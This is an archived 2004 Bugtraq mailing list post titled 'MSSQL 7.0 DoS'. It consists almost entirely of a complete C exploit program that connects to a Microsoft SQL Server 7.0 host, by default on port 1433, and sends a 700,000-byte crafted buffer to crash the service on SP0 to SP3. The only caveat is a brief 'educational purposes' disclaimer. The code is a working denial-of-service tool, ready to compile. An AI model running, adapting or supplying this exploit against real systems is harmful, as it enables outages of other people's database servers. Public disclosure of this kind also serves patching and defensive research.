lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 28 Sep 2004 00:07:24 GMT
From: securma@...amail.com
To: bugtraq@...urityfocus.com
Subject: MSSQL 7.0 DoS

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
 * By sending a large buffer with specified data an attacker can stop the service
 * "mssqlserver" the error noticed is different according to services' pack but the result is always
 * the same one.
 *  Exception Codes = c0000005
 * vulnerable:  MSSQL7.0 sp0 - sp1 - sp2 - sp3
 * This code is for educational purposes, I am not responsible for your acts
 * Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
u_long resolv(char*);

void main(int argc, char **argv) {
 WSADATA WinsockData;
 SOCKET s;
 int i;
 struct sockaddr_in vulh;
 char buffer[700000];
 for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);

 if (argc!=3) {
  printf("  MSSQL denial of service\n");
  printf("    by securma massine\n");
  printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des degats que vous pouvez en faire\n");
  printf("Syntaxe: MSSQLdos <ip> <port>\n");
  exit(1);
 }
 WSAStartup(0x101,&WinsockData);
 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 ZeroMemory(&vulh,sizeof(vulh));
 vulh.sin_family=AF_INET;
 vulh.sin_addr.s_addr=resolv(argv[1]);
 vulh.sin_port=htons(atoi(argv[2]));
 if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
  printf("Impossible de se connecter...le port est en generale 1433...\n");
  exit(1);
 }
  {
  send(s,buffer,sizeof(buffer),0);
 
  printf("Data envoyes...\n");
 }
 printf("\nattendez quelques secondes et verifiez que le serveur ne repond plus.\n");
 closesocket(s);
 WSACleanup();
}

u_long resolv(char *host_name) {
 struct in_addr addr;
 struct hostent *host_ent;
 if ((addr.s_addr = inet_addr(host_name)) == -1) {
  if (!(host_ent = gethostbyname(host_name))) {
   printf ("Erreur DNS : Impossible de résoudre l'adresse %s !!!\n",host_name);
   exit(1);
  }
  CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
 }
 return addr.s_addr;
}
 



Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ